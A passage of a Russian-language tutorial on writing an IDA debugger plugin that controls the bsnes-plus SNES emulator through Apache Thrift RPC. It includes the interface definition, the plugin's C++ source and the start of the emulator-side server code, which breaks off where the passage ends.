service BsnesDebugger {  i32 get_cpu_reg(1:BsnesRegister reg),  BsnesRegisters get_cpu_regs(),  void set_cpu_reg(1:BsnesRegister reg, 2:i32 value),  binary read_memory(1:DbgMemorySource src, 2:i32 address, 3:i32 size),  void write_memory(1:DbgMemorySource src, 2:i32 address, 3:binary data),  void add_breakpoint(1:DbgBreakpoint bpt),  void del_breakpoint(1:DbgBreakpoint bpt),  void pause(),  void resume(),  void start_emulation(),  void exit_emulation(),  void step_into(),  void step_over(),}

Здесь у нас описана серверная часть, которая будет крутиться в эмуляторе, и к которой Ида время от времени будет приставать. Давайте разберём её более детально:


  i32 get_cpu_reg(1:BsnesRegister reg),  void set_cpu_reg(1:BsnesRegister reg, 2:i32 value),

Эти методы мы будем использовать тогда, когда нам потребуется прочитать или записать один регистр. Использованный enum BsnesRegister выглядит так:


enum BsnesRegister {  pc,  a,  x,  y,  s,  d,  db,  p,  mflag,  xflag,  eflag,}

Фактически, это те регистры, значения которых мы хотим видеть во время отладки, у вас они могут быть другими.


Т.к. IDA сама никогда не запрашивает по одному регистру, а требует все сразу, напишем метод, который будет их все сразу и отдавать:


struct BsnesRegisters {  1:i32 pc,  2:i32 a,  3:i32 x,  4:i32 y,  5:i32 s,  6:i32 d,  7:i16 db,  8:i16 p,  9:i8 mflag,  10:i8 xflag,  11:i8 eflag,}service BsnesDebugger {  ...  BsnesRegisters get_cpu_regs(),  ...}

Здесь я завёл одну общую структуру под регистры, указав их размеры и указал её в качестве возвращаемого значения для метода get_cpu_regs().


Теперь работа с памятью:


enum DbgMemorySource {  CPUBus,  APUBus,  APURAM,  DSP,  VRAM,  OAM,  CGRAM,  CartROM,  CartRAM,  SA1Bus,  SFXBus,  SGBBus,  SGBROM,  SGBRAM,}service BsnesDebugger {  ...  binary read_memory(1:DbgMemorySource src, 2:i32 address, 3:i32 size),  void write_memory(1:DbgMemorySource src, 2:i32 address, 3:binary data),  ...}

Здесь мы использовали встроенный в Thrift тип данных binary, и указали различные области памяти, которые могут быть прочитаны (взято из эмулятора).


Теперь пришла очередь брейкпоинтов:


enum BpType {  BP_PC = 1,  BP_READ = 2,  BP_WRITE = 4,}enum DbgBptSource {  CPUBus,  APURAM,  DSP,  VRAM,  OAM,  CGRAM,  SA1Bus,  SFXBus,  SGBBus,}struct DbgBreakpoint {  1:BpType type,  2:i32 bstart,  3:i32 bend,  4:bool enabled,  5:DbgBptSource src,}service BsnesDebugger {  ...  void add_breakpoint(1:DbgBreakpoint bpt),  void del_breakpoint(1:DbgBreakpoint bpt),  ...}

Т.к. список областей памяти, которые можно читать, и на которые можно ставить брейкпоинты отличаются, заводим отдельный список DbgBptSource. Также указываем тип брейкпоинта BpType и адрес его начала/конца bstart/bend. Ещё нам может понадобиться включать брейкпоинт не сразу enabled.


С основными сложными частями протокола закончили, теперь можно описать более простые:


service BsnesDebugger {  ...  void pause(),  void resume(),  void start_emulation(),  void exit_emulation(),  void step_into(),  void step_over(),  ...}

Метод pause() будет приостанавливать процесс отладки по запросу от IDA, resume() продолжать.


start_emulation() нужен для того, чтобы IDA могла сообщить эмулятору, что она начала процесс отладки, и ожидает от него какие-либо события. Фактически, используется в качестве синхронизации начала эмуляции между плагином-отладчиком и собственно эмулятором.


exit_emulation() на случай, если мы захотим остановить отладку из IDA, а не из эмулятора.


step_into() и step_over() пошаговая отладка.


Итоговый debug_proto.thrift
enum BsnesRegister {  pc,  a,  x,  y,  s,  d,  db,  p,  mflag,  xflag,  eflag,}struct BsnesRegisters {  1:i32 pc,  2:i32 a,  3:i32 x,  4:i32 y,  5:i32 s,  6:i32 d,  7:i16 db,  8:i16 p,  9:i8 mflag,  10:i8 xflag,  11:i8 eflag,}enum BpType {  BP_PC = 1,  BP_READ = 2,  BP_WRITE = 4,}enum DbgMemorySource {  CPUBus,  APUBus,  APURAM,  DSP,  VRAM,  OAM,  CGRAM,  CartROM,  CartRAM,  SA1Bus,  SFXBus,  SGBBus,  SGBROM,  SGBRAM,}enum DbgBptSource {  CPUBus,  APURAM,  DSP,  VRAM,  OAM,  CGRAM,  SA1Bus,  SFXBus,  SGBBus,}struct DbgBreakpoint {  1:BpType type,  2:i32 bstart,  3:i32 bend,  4:bool enabled,  5:DbgBptSource src,}service BsnesDebugger {  i32 get_cpu_reg(1:BsnesRegister reg),  BsnesRegisters get_cpu_regs(),  void set_cpu_reg(1:BsnesRegister reg, 2:i32 value),  binary read_memory(1:DbgMemorySource src, 2:i32 address, 3:i32 size),  void write_memory(1:DbgMemorySource src, 2:i32 address, 3:binary data),  void add_breakpoint(1:DbgBreakpoint bpt),  void del_breakpoint(1:DbgBreakpoint bpt),  void pause(),  void resume(),  void start_emulation(),  void exit_emulation(),  void step_into(),  void step_over(),}service IdaClient {  oneway void start_event(),  oneway void add_visited(1:set<i32> changed, 2:bool is_step),  oneway void pause_event(1:i32 address),  oneway void stop_event(),}

От RPC-прототипа к реализации


На этом процесс написания RPC-прототипа завершён. Чтобы сгенерировать из него код для языка C++, качаем Thrift-компилятор, выполняем из командной строки следующее:


thrift --gen cpp debug_proto.thrift

На выходе мы получим каталог gen-cpp, в котором нас будут ждать не только файлики, которые нужно будет компилировать вместе с проектом, но и шаблон кода каждого из сервисов IdaClient и BsnesDebugger.



Добавляем сгенерированные файлы в студийный проект (кроме файлов *_server.skeleton.cpp). Также необходимо слинковать наш проект плагина (и эмулятора) со скомпилированными статичными библиотеками thrift-а и libevent-а (мы будем использовать "nonblocking" вариант Thrift). У этих библиотек имеется CMake вариант сборки, который значительно упрощает процесс.


Код IdaClient хэндлера


Теперь давайте напишем шаблон кода, реализующий IdaClient-сервис:


Необходимые инклуды и адресные пространства
#include "gen-cpp/IdaClient.h"#include "gen-cpp/BsnesDebugger.h"#include <thrift/protocol/TBinaryProtocol.h>#include <thrift/transport/TSocket.h>#include <thrift/transport/TBufferTransports.h>#include <thrift/server/TNonblockingServer.h>#include <thrift/transport/TNonblockingServerSocket.h>#include <thrift/concurrency/ThreadFactory.h>using namespace ::apache::thrift;using namespace ::apache::thrift::protocol;using namespace ::apache::thrift::transport;using namespace ::apache::thrift::server;using namespace ::apache::thrift::concurrency;::std::shared_ptr<BsnesDebuggerClient> client;::std::shared_ptr<TNonblockingServer> srv;::std::shared_ptr<TTransport> cli_transport;

Реализация серверной части IdaClient
static void pause_execution(){  try {    if (client) {      client->pause();    }  }  catch (...) {  }}static void continue_execution(){  try {    if (client) {      client->resume();    }  }  catch (...) {  }}static void stop_server() {  try {    srv->stop();  }  catch (...) {  }}static void finish_execution(){  try {    if (client) {      client->exit_emulation();    }  }  catch (...) {  }  stop_server();}class IdaClientHandler : virtual public IdaClientIf {public:    void pause_event(const int32_t address) override {    ::std::lock_guard<::std::mutex> lock(list_mutex);    debug_event_t ev;    ev.pid = 1;    ev.tid = 1;    ev.ea = address | 0x800000;    ev.handled = true;    ev.set_eid(PROCESS_SUSPENDED);    events.enqueue(ev, IN_BACK);    }    void start_event() override {    ::std::lock_guard<::std::mutex> lock(list_mutex);    debug_event_t ev;    ev.pid = 1;    ev.tid = 1;    ev.ea = BADADDR;    ev.handled = true;    ev.set_modinfo(PROCESS_STARTED).name.sprnt("BSNES");    ev.set_modinfo(PROCESS_STARTED).base = 0;    ev.set_modinfo(PROCESS_STARTED).size = 0;    ev.set_modinfo(PROCESS_STARTED).rebase_to = BADADDR;    events.enqueue(ev, IN_BACK);    }    void stop_event() override {    ::std::lock_guard<::std::mutex> lock(list_mutex);    debug_event_t ev;    ev.pid = 1;    ev.handled = true;    ev.set_exit_code(PROCESS_EXITED, 0);    events.enqueue(ev, IN_BACK);    }  void add_visited(const std::set<int32_t>& changed, bool is_step) override {  }};

В этом коде мы реагируем на события эмуляции и сообщаем о них Иде, добавляя эти события в список. Более подробно о них можно прочитать в той же статье про отладчик для Сеги. Код add_visited() пока оставляем пустым. О нём позже.


Теперь напишем код, который будет отвечать за поднятие сервиса на стороне Иды (будем использовать порт 9091), и ожидание подключения к эмулятору:


init_ida_server и init_emu_client
static void init_ida_server() {    try {    ::std::shared_ptr<IdaClientHandler> handler(new IdaClientHandler());    ::std::shared_ptr<TProcessor> processor(new IdaClientProcessor(handler));    ::std::shared_ptr<TNonblockingServerTransport> serverTransport(new TNonblockingServerSocket(9091));    ::std::shared_ptr<TFramedTransportFactory> transportFactory(new TFramedTransportFactory());    ::std::shared_ptr<TProtocolFactory> protocolFactory(new TBinaryProtocolFactory());    srv = ::std::shared_ptr<TNonblockingServer>(new TNonblockingServer(processor, protocolFactory, serverTransport));    ::std::shared_ptr<ThreadFactory> tf(new ThreadFactory());    ::std::shared_ptr<Thread> thread = tf->newThread(srv);    thread->start();    } catch (...) {    }}static void init_emu_client() {  ::std::shared_ptr<TTransport> socket(new TSocket("127.0.0.1", 9090));  cli_transport = ::std::shared_ptr<TTransport>(new TFramedTransport(socket));  ::std::shared_ptr<TBinaryProtocol> protocol(new TBinaryProtocol(cli_transport));  client = ::std::shared_ptr<BsnesDebuggerClient>(new BsnesDebuggerClient(protocol));  show_wait_box("Waiting for BSNES-PLUS emulation...");  while (true) {    if (user_cancelled()) {      break;    }    try {      cli_transport->open();      break;    }    catch (...) {    }  }  hide_wait_box();}

Осталось дополнить имеющийся шаблон ida_debug.cpp кодом для работы со Thrift. Вот что получилось:


Полный код ida_debug.cpp
#include "gen-cpp/IdaClient.h"#include "gen-cpp/BsnesDebugger.h"#include <thrift/protocol/TBinaryProtocol.h>#include <thrift/transport/TSocket.h>#include <thrift/transport/TBufferTransports.h>#include <thrift/server/TNonblockingServer.h>#include <thrift/transport/TNonblockingServerSocket.h>#include <thrift/concurrency/ThreadFactory.h>using namespace ::apache::thrift;using namespace ::apache::thrift::protocol;using namespace ::apache::thrift::transport;using namespace ::apache::thrift::server;using namespace ::apache::thrift::concurrency;#include <ida.hpp>#include <dbg.hpp>#include <auto.hpp>#include <deque>#include <mutex>#include "ida_plugin.h"#include "ida_debmod.h"#include "ida_registers.h"::std::shared_ptr<BsnesDebuggerClient> client;::std::shared_ptr<TNonblockingServer> srv;::std::shared_ptr<TTransport> cli_transport;static ::std::mutex list_mutex;static eventlist_t events;static const char* const p_reg[] ={    "CF",    "ZF",    "IF",    "DF",    "XF",    "MF",    "VF",    "NF",};static register_info_t registers[] = {    {"A", 0, RC_CPU, dt_word, NULL, 0},    {"X", 0, RC_CPU, dt_word, NULL, 0},    {"Y", 0, RC_CPU, dt_word, NULL, 0},    {"D", 0, RC_CPU, dt_word, NULL, 0},    {"DB", 0, RC_CPU, dt_byte, NULL, 0},    {"PC", REGISTER_IP | REGISTER_ADDRESS, RC_CPU, dt_dword, NULL, 0},  {"S", REGISTER_SP | REGISTER_ADDRESS, RC_CPU, dt_word, NULL, 0},    {"P", REGISTER_READONLY, RC_CPU, dt_byte, p_reg, 0xFF},  {"m", REGISTER_READONLY, RC_CPU, dt_byte, NULL, 0},  {"x", REGISTER_READONLY, RC_CPU, dt_byte, NULL, 0},    {"e", REGISTER_READONLY, RC_CPU, dt_byte, NULL, 0},};static const char* register_classes[] = {    "General Registers",    NULL};static struct apply_codemap_req : public exec_request_t {private:  const std::set<int32_t>& _changed;  const bool _is_step;public:  apply_codemap_req(const std::set<int32_t>& changed, bool is_step) : _changed(changed), _is_step(is_step) {};  int idaapi execute(void) override {    auto m = _changed.size();    if (!_is_step) {      show_wait_box("Applying codemap: %d/%d...", 1, m);    }    auto x = 0;    for (auto i = _changed.cbegin(); i != _changed.cend(); ++i) {      if (!_is_step && user_cancelled()) {        break;      }      if (!_is_step) {        replace_wait_box("Applying codemap: %d/%d...", x, m);      }      ea_t addr = (ea_t)(*i | 0x800000);      auto_make_code(addr);      plan_ea(addr);      show_addr(addr);      x++;    }    if (!_is_step) {      hide_wait_box();    }    return 0;  }};static void apply_codemap(const std::set<int32_t>& changed, bool is_step){  if (changed.empty()) return;  apply_codemap_req req(changed, is_step);  execute_sync(req, MFF_FAST);}static void pause_execution(){  try {    if (client) {      client->pause();    }  }  catch (...) {  }}static void continue_execution(){  try {    if (client) {      client->resume();    }  }  catch (...) {  }}static void stop_server() {  try {    srv->stop();  }  catch (...) {  }}static void finish_execution(){  try {    if (client) {      client->exit_emulation();    }  }  catch (...) {  }  stop_server();}class IdaClientHandler : virtual public IdaClientIf {public:    void pause_event(const int32_t address) override {    ::std::lock_guard<::std::mutex> lock(list_mutex);    debug_event_t ev;    ev.pid = 1;    ev.tid = 1;    ev.ea = address | 0x800000;    ev.handled = true;    ev.set_eid(PROCESS_SUSPENDED);    events.enqueue(ev, IN_BACK);    }    void start_event() override {    ::std::lock_guard<::std::mutex> lock(list_mutex);    debug_event_t ev;    ev.pid = 1;    ev.tid = 1;    ev.ea = BADADDR;    ev.handled = true;    ev.set_modinfo(PROCESS_STARTED).name.sprnt("BSNES");    ev.set_modinfo(PROCESS_STARTED).base = 0;    ev.set_modinfo(PROCESS_STARTED).size = 0;    ev.set_modinfo(PROCESS_STARTED).rebase_to = BADADDR;    events.enqueue(ev, IN_BACK);    }    void stop_event() override {    ::std::lock_guard<::std::mutex> lock(list_mutex);    debug_event_t ev;    ev.pid = 1;    ev.handled = true;    ev.set_exit_code(PROCESS_EXITED, 0);    events.enqueue(ev, IN_BACK);    }  void add_visited(const std::set<int32_t>& changed, bool is_step) override {    apply_codemap(changed, is_step);  }};static void init_ida_server() {    try {    ::std::shared_ptr<IdaClientHandler> handler(new IdaClientHandler());    ::std::shared_ptr<TProcessor> processor(new IdaClientProcessor(handler));    ::std::shared_ptr<TNonblockingServerTransport> serverTransport(new TNonblockingServerSocket(9091));    ::std::shared_ptr<TFramedTransportFactory> transportFactory(new TFramedTransportFactory());    ::std::shared_ptr<TProtocolFactory> protocolFactory(new TBinaryProtocolFactory());    srv = ::std::shared_ptr<TNonblockingServer>(new TNonblockingServer(processor, protocolFactory, serverTransport));    ::std::shared_ptr<ThreadFactory> tf(new ThreadFactory());    ::std::shared_ptr<Thread> thread = tf->newThread(srv);    thread->start();    } catch (...) {    }}static void init_emu_client() {  ::std::shared_ptr<TTransport> socket(new TSocket("127.0.0.1", 9090));  cli_transport = ::std::shared_ptr<TTransport>(new TFramedTransport(socket));  ::std::shared_ptr<TBinaryProtocol> protocol(new TBinaryProtocol(cli_transport));  client = ::std::shared_ptr<BsnesDebuggerClient>(new BsnesDebuggerClient(protocol));  show_wait_box("Waiting for BSNES-PLUS emulation...");  while (true) {    if (user_cancelled()) {      break;    }    try {      cli_transport->open();      break;    }    catch (...) {    }  }  hide_wait_box();}static drc_t idaapi init_debugger(const char* hostname, int portnum, const char* password, qstring* errbuf){  return DRC_OK;}static drc_t idaapi term_debugger(void){  finish_execution();  return DRC_OK;}static drc_t s_get_processes(procinfo_vec_t* procs, qstring* errbuf) {  process_info_t info;  info.name.sprnt("bsnes");  info.pid = 1;  procs->add(info);  return DRC_OK;}static drc_t idaapi s_start_process(const char* path,  const char* args,  const char* startdir,  uint32 dbg_proc_flags,  const char* input_path,  uint32 input_file_crc32,  qstring* errbuf = NULL){  ::std::lock_guard<::std::mutex> lock(list_mutex);  events.clear();  init_ida_server();  init_emu_client();  try {    if (client) {      client->start_emulation();    }  }  catch (...) {    return DRC_FAILED;  }  return DRC_OK;}static drc_t idaapi prepare_to_pause_process(qstring* errbuf){  pause_execution();  return DRC_OK;}static drc_t idaapi emul_exit_process(qstring* errbuf){  finish_execution();  return DRC_OK;}static gdecode_t idaapi get_debug_event(debug_event_t* event, int timeout_ms){  while (true)  {    ::std::lock_guard<::std::mutex> lock(list_mutex);    // are there any pending events?    if (events.retrieve(event))    {      return events.empty() ? GDE_ONE_EVENT : GDE_MANY_EVENTS;    }    if (events.empty())      break;  }  return GDE_NO_EVENT;}static drc_t idaapi continue_after_event(const debug_event_t* event){  dbg_notification_t req = get_running_notification();  switch (event->eid())  {  case STEP:  case PROCESS_SUSPENDED:    if (req == dbg_null || req == dbg_run_to) {      continue_execution();    }    break;  case PROCESS_EXITED:    stop_server();    break;  }  return DRC_OK;}static drc_t idaapi s_set_resume_mode(thid_t tid, resume_mode_t resmod) // Run one instruction in the thread{  switch (resmod)  {  case RESMOD_INTO:    ///< step into call (the most typical single stepping)    try {      if (client) {        client->step_into();      }    }    catch (...) {      return DRC_FAILED;    }    break;  case RESMOD_OVER:    ///< step over call    try {      if (client) {        client->step_over();      }    }    catch (...) {      return DRC_FAILED;    }    break;  }  return DRC_OK;}static drc_t idaapi read_registers(thid_t tid, int clsmask, regval_t* values, qstring* errbuf){  if (clsmask & RC_CPU)  {        BsnesRegisters regs;    try {      if (client) {        client->get_cpu_regs(regs);                values[static_cast<int>(SNES_REGS::SR_PC)].ival = regs.pc | 0x800000;                values[static_cast<int>(SNES_REGS::SR_A)].ival = regs.a;                values[static_cast<int>(SNES_REGS::SR_X)].ival = regs.x;                values[static_cast<int>(SNES_REGS::SR_Y)].ival = regs.y;                values[static_cast<int>(SNES_REGS::SR_S)].ival = regs.s;                values[static_cast<int>(SNES_REGS::SR_D)].ival = regs.d;                values[static_cast<int>(SNES_REGS::SR_DB)].ival = regs.db;                values[static_cast<int>(SNES_REGS::SR_P)].ival = regs.p;        values[static_cast<int>(SNES_REGS::SR_MFLAG)].ival = regs.mflag;        values[static_cast<int>(SNES_REGS::SR_XFLAG)].ival = regs.xflag;                values[static_cast<int>(SNES_REGS::SR_EFLAG)].ival = regs.eflag;      }    }    catch (...) {      return DRC_FAILED;    }    }    return DRC_OK;}static drc_t idaapi write_register(thid_t tid, int regidx, const regval_t* value, qstring* errbuf){  if (regidx >= static_cast<int>(SNES_REGS::SR_PC) && regidx <= static_cast<int>(SNES_REGS::SR_EFLAG)) {    try {      if (client) {        client->set_cpu_reg(static_cast<BsnesRegister::type>(regidx), value->ival & 0xFFFFFFFF);      }    }    catch (...) {      return DRC_FAILED;    }    }    return DRC_OK;}static drc_t idaapi get_memory_info(meminfo_vec_t& areas, qstring* errbuf){  memory_info_t info;  info.start_ea = 0x0000;  info.end_ea = 0x01FFF;  info.sclass = "STACK";  info.bitness = 0;  info.perm = SEGPERM_READ | SEGPERM_WRITE;  areas.push_back(info);  // Don't remove this loop  for (int i = 0; i < get_segm_qty(); ++i)  {    segment_t* segm = getnseg(i);    info.start_ea = segm->start_ea;    info.end_ea = segm->end_ea;    qstring buf;    get_segm_name(&buf, segm);    info.name = buf;    get_segm_class(&buf, segm);    info.sclass = buf;    info.sbase = get_segm_base(segm);    info.perm = segm->perm;    info.bitness = segm->bitness;    areas.push_back(info);  }  // Don't remove this loop    return DRC_OK;}static ssize_t idaapi read_memory(ea_t ea, void* buffer, size_t size, qstring* errbuf){  std::string mem;  try {    if (client) {      client->read_memory(mem, DbgMemorySource::CPUBus, (int32_t)ea, (int32_t)size);      memcpy(&((unsigned char*)buffer)[0], mem.c_str(), size);    }  }  catch (...) {    return DRC_FAILED;  }  return size;}static ssize_t idaapi write_memory(ea_t ea, const void* buffer, size_t size, qstring* errbuf){  std::string mem((const char*)buffer);  try {    if (client) {      client->write_memory(DbgMemorySource::CPUBus, (int32_t)ea, mem);    }  }  catch (...) {    return 0;  }  return size;}static int idaapi is_ok_bpt(bpttype_t type, ea_t ea, int len){  DbgMemorySource::type btype = DbgMemorySource::CPUBus;  switch (btype) {  case DbgMemorySource::CPUBus:  case DbgMemorySource::APURAM:  case DbgMemorySource::DSP:  case DbgMemorySource::VRAM:  case DbgMemorySource::OAM:  case DbgMemorySource::CGRAM:  case DbgMemorySource::SA1Bus:  case DbgMemorySource::SFXBus:    break;  default:    return BPT_BAD_TYPE;  }  switch (type)  {  case BPT_EXEC:  case BPT_READ:  case BPT_WRITE:  case BPT_RDWR:    return BPT_OK;  }  return BPT_BAD_TYPE;}static drc_t idaapi update_bpts(int* nbpts, update_bpt_info_t* bpts, int nadd, int ndel, qstring* errbuf){  for (int i = 0; i < nadd; ++i)  {    ea_t start = bpts[i].ea;    ea_t end = bpts[i].ea + bpts[i].size - 1;    DbgBreakpoint bp;    bp.bstart = start;    bp.bend = end;    bp.enabled = true;    switch (bpts[i].type)    {    case BPT_EXEC:      bp.type = BpType::BP_PC;      break;    case BPT_READ:      bp.type = BpType::BP_READ;      break;    case BPT_WRITE:      bp.type = BpType::BP_WRITE;      break;    case BPT_RDWR:      bp.type = BpType::BP_READ;      break;    }    DbgMemorySource::type type = DbgMemorySource::CPUBus;    switch (type) {    case DbgMemorySource::CPUBus:      bp.src = DbgBptSource::CPUBus;      break;    case DbgMemorySource::APURAM:      bp.src = DbgBptSource::APURAM;      break;    case DbgMemorySource::DSP:      bp.src = DbgBptSource::DSP;      break;    case DbgMemorySource::VRAM:      bp.src = DbgBptSource::VRAM;      break;    case DbgMemorySource::OAM:      bp.src = DbgBptSource::OAM;      break;    case DbgMemorySource::CGRAM:      bp.src = DbgBptSource::CGRAM;      break;    case DbgMemorySource::SA1Bus:      bp.src = DbgBptSource::SA1Bus;      break;    case DbgMemorySource::SFXBus:      bp.src = DbgBptSource::SFXBus;      break;    default:      continue;    }    try {      if (client) {        client->add_breakpoint(bp);      }    }    catch (...) {      return DRC_FAILED;    }    bpts[i].code = BPT_OK;  }  for (int i = 0; i < ndel; ++i)  {    ea_t start = bpts[nadd + i].ea;    ea_t end = bpts[nadd + i].ea + bpts[nadd + i].size - 1;    DbgBreakpoint bp;    bp.bstart = start;    bp.bend = end;    bp.enabled = true;    switch (bpts[i].type)    {    case BPT_EXEC:      bp.type = BpType::BP_PC;      break;    case BPT_READ:      bp.type = BpType::BP_READ;      break;    case BPT_WRITE:      bp.type = BpType::BP_WRITE;      break;    case BPT_RDWR:      bp.type = BpType::BP_READ;      break;    }    DbgMemorySource::type type = DbgMemorySource::CPUBus;    switch (type) {    case DbgMemorySource::CPUBus:      bp.src = DbgBptSource::CPUBus;      break;    case DbgMemorySource::APURAM:      bp.src = DbgBptSource::APURAM;      break;    case DbgMemorySource::DSP:      bp.src = DbgBptSource::DSP;      break;    case DbgMemorySource::VRAM:      bp.src = DbgBptSource::VRAM;      break;    case DbgMemorySource::OAM:      bp.src = DbgBptSource::OAM;      break;    case DbgMemorySource::CGRAM:      bp.src = DbgBptSource::CGRAM;      break;    case DbgMemorySource::SA1Bus:      bp.src = DbgBptSource::SA1Bus;      break;    case DbgMemorySource::SFXBus:      bp.src = DbgBptSource::SFXBus;      break;    default:      continue;    }    try {      if (client) {        client->del_breakpoint(bp);      }    }    catch (...) {      return DRC_FAILED;    }    bpts[nadd + i].code = BPT_OK;  }  *nbpts = (ndel + nadd);  return DRC_OK;}static ssize_t idaapi idd_notify(void*, int msgid, va_list va) {  drc_t retcode = DRC_NONE;  qstring* errbuf;  switch (msgid)  {  case debugger_t::ev_init_debugger:  {    const char* hostname = va_arg(va, const char*);    int portnum = va_arg(va, int);    const char* password = va_arg(va, const char*);    errbuf = va_arg(va, qstring*);    QASSERT(1522, errbuf != NULL);    retcode = init_debugger(hostname, portnum, password, errbuf);  }  break;  case debugger_t::ev_term_debugger:    retcode = term_debugger();    break;  case debugger_t::ev_get_processes:  {    procinfo_vec_t* procs = va_arg(va, procinfo_vec_t*);    errbuf = va_arg(va, qstring*);    retcode = s_get_processes(procs, errbuf);  }  break;  case debugger_t::ev_start_process:  {    const char* path = va_arg(va, const char*);    const char* args = va_arg(va, const char*);    const char* startdir = va_arg(va, const char*);    uint32 dbg_proc_flags = va_arg(va, uint32);    const char* input_path = va_arg(va, const char*);    uint32 input_file_crc32 = va_arg(va, uint32);    errbuf = va_arg(va, qstring*);    retcode = s_start_process(path,      args,      startdir,      dbg_proc_flags,      input_path,      input_file_crc32,      errbuf);  }  break;  case debugger_t::ev_get_debapp_attrs:  {    debapp_attrs_t* out_pattrs = va_arg(va, debapp_attrs_t*);    out_pattrs->addrsize = 3;    out_pattrs->is_be = false;    out_pattrs->platform = "snes";    out_pattrs->cbsize = sizeof(debapp_attrs_t);    retcode = DRC_OK;  }  break;  case debugger_t::ev_rebase_if_required_to:  {    ea_t new_base = va_arg(va, ea_t);    retcode = DRC_OK;  }  break;  case debugger_t::ev_request_pause:    errbuf = va_arg(va, qstring*);    retcode = prepare_to_pause_process(errbuf);    break;  case debugger_t::ev_exit_process:    errbuf = va_arg(va, qstring*);    retcode = emul_exit_process(errbuf);    break;  case debugger_t::ev_get_debug_event:  {    gdecode_t* code = va_arg(va, gdecode_t*);    debug_event_t* event = va_arg(va, debug_event_t*);    int timeout_ms = va_arg(va, int);    *code = get_debug_event(event, timeout_ms);    retcode = DRC_OK;  }  break;  case debugger_t::ev_resume:  {    debug_event_t* event = va_arg(va, debug_event_t*);    retcode = continue_after_event(event);  }  break;  case debugger_t::ev_thread_suspend:  {    thid_t tid = va_argi(va, thid_t);    pause_execution();    retcode = DRC_OK;  }  break;  case debugger_t::ev_thread_continue:  {    thid_t tid = va_argi(va, thid_t);    continue_execution();    retcode = DRC_OK;  }  break;  case debugger_t::ev_set_resume_mode:  {    thid_t tid = va_argi(va, thid_t);    resume_mode_t resmod = va_argi(va, resume_mode_t);    retcode = s_set_resume_mode(tid, resmod);  }  break;  case debugger_t::ev_read_registers:  {    thid_t tid = va_argi(va, thid_t);    int clsmask = va_arg(va, int);    regval_t* values = va_arg(va, regval_t*);    errbuf = va_arg(va, qstring*);    retcode = read_registers(tid, clsmask, values, errbuf);  }  break;  case debugger_t::ev_write_register:  {    thid_t tid = va_argi(va, thid_t);    int regidx = va_arg(va, int);    const regval_t* value = va_arg(va, const regval_t*);    errbuf = va_arg(va, qstring*);    retcode = write_register(tid, regidx, value, errbuf);  }  break;  case debugger_t::ev_get_memory_info:  {    meminfo_vec_t* ranges = va_arg(va, meminfo_vec_t*);    errbuf = va_arg(va, qstring*);    retcode = get_memory_info(*ranges, errbuf);  }  break;  case debugger_t::ev_read_memory:  {    size_t* nbytes = va_arg(va, size_t*);    ea_t ea = va_arg(va, ea_t);    void* buffer = va_arg(va, void*);    size_t size = va_arg(va, size_t);    errbuf = va_arg(va, qstring*);    ssize_t code = read_memory(ea, buffer, size, errbuf);    *nbytes = code >= 0 ? code : 0;    retcode = code >= 0 ? DRC_OK : DRC_NOPROC;  }  break;  case debugger_t::ev_write_memory:  {    size_t* nbytes = va_arg(va, size_t*);    ea_t ea = va_arg(va, ea_t);    const void* buffer = va_arg(va, void*);    size_t size = va_arg(va, size_t);    errbuf = va_arg(va, qstring*);    ssize_t code = write_memory(ea, buffer, size, errbuf);    *nbytes = code >= 0 ? code : 0;    retcode = code >= 0 ? DRC_OK : DRC_NOPROC;  }  break;  case debugger_t::ev_check_bpt:  {    int* bptvc = va_arg(va, int*);    bpttype_t type = va_argi(va, bpttype_t);    ea_t ea = va_arg(va, ea_t);    int len = va_arg(va, int);    *bptvc = is_ok_bpt(type, ea, len);    retcode = DRC_OK;  }  break;  case debugger_t::ev_update_bpts:  {    int* nbpts = va_arg(va, int*);    update_bpt_info_t* bpts = va_arg(va, update_bpt_info_t*);    int nadd = va_arg(va, int);    int ndel = va_arg(va, int);    errbuf = va_arg(va, qstring*);    retcode = update_bpts(nbpts, bpts, nadd, ndel, errbuf);  }  break;  default:    retcode = DRC_NONE;  }  return retcode;}debugger_t debugger{    IDD_INTERFACE_VERSION,    NAME,    0x8000 + 6581, // (6)    "65816",    DBG_FLAG_NOHOST | DBG_FLAG_CAN_CONT_BPT | DBG_FLAG_SAFE | DBG_FLAG_FAKE_ATTACH | DBG_FLAG_NOPASSWORD |    DBG_FLAG_NOSTARTDIR | DBG_FLAG_NOPARAMETERS | DBG_FLAG_ANYSIZE_HWBPT | DBG_FLAG_DEBTHREAD | DBG_FLAG_PREFER_SWBPTS,    DBG_HAS_GET_PROCESSES | DBG_HAS_REQUEST_PAUSE | DBG_HAS_SET_RESUME_MODE | DBG_HAS_THREAD_SUSPEND | DBG_HAS_THREAD_CONTINUE | DBG_HAS_CHECK_BPT,    register_classes,    RC_CPU,    registers,    qnumber(registers),    0x1000,    NULL,    0,    0,    DBG_RESMOD_STEP_INTO | DBG_RESMOD_STEP_OVER,    NULL,    idd_notify};

Дабы не описывать весь этот код, здесь я опишу лишь типичный код для работы со Thrift со стороны IDA:


    try {      if (client) {        client->step_over();      }    }    catch (...) {      return DRC_FAILED;    }    return DRC_OK;

Т.е. мы просто оборачиваем код для работы с клиентом BsnesDebugger (серверную часть которого сейчас также напишем) в обработчик исключения и возвращаем либо ошибку, либо ОК.


Код BsnesDebugger хэндлера


Теперь мы дошли до модификации непосредственно эмулятора. Как ни странно, изменений потребуется не так много. Для того, чтобы не вдаваться в подробности реализации конкретного эмулятора, и чтобы не бомбить о том, какая же здесь ужасная структура кода, я просто приведу шаблон cpp-файла, который я использовал при компиляции эмулятора.


remote_debugger.cpp
#include "gen-cpp/IdaClient.h"#include "gen-cpp/BsnesDebugger.h"#include <thrift/protocol/TBinaryProtocol.h>#include <thrift/transport/TSocket.h>#include <thrift/transport/TBufferTransports.h>#include <thrift/server/TNonblockingServer.h>#include <thrift/transport/TNonblockingServerSocket.h>#include <thrift/concurrency/ThreadFactory.h>using namespace ::apache::thrift;using namespace ::apache::thrift::protocol;using namespace ::apache::thrift::transport;using namespace ::apache::thrift::server;using namespace ::apache::thrift::concurrency;#include "../ui-base.hpp"static ::std::shared_ptr<IdaClientClient> client;static ::std::shared_ptr<TNonblockingServer> srv;static ::std::shared_ptr<TTransport> cli_transport;static ::std::mutex list_mutex;::std::set<int32_t> visited;static void send_visited(bool is_step) {  const auto part = visited.size();  ::std::lock_guard<::std::mutex> lock(list_mutex);  try {    if (client) {      client->add_visited(visited, is_step);    }  }  catch (...) {  }  visited.clear();}static void stop_client() {  try {    if (client) {      send_visited(false);      client->stop_event();    }    cli_transport->close();  }  catch (...) {  }}static void init_ida_client() {  ::std::shared_ptr<TTransport> socket(new 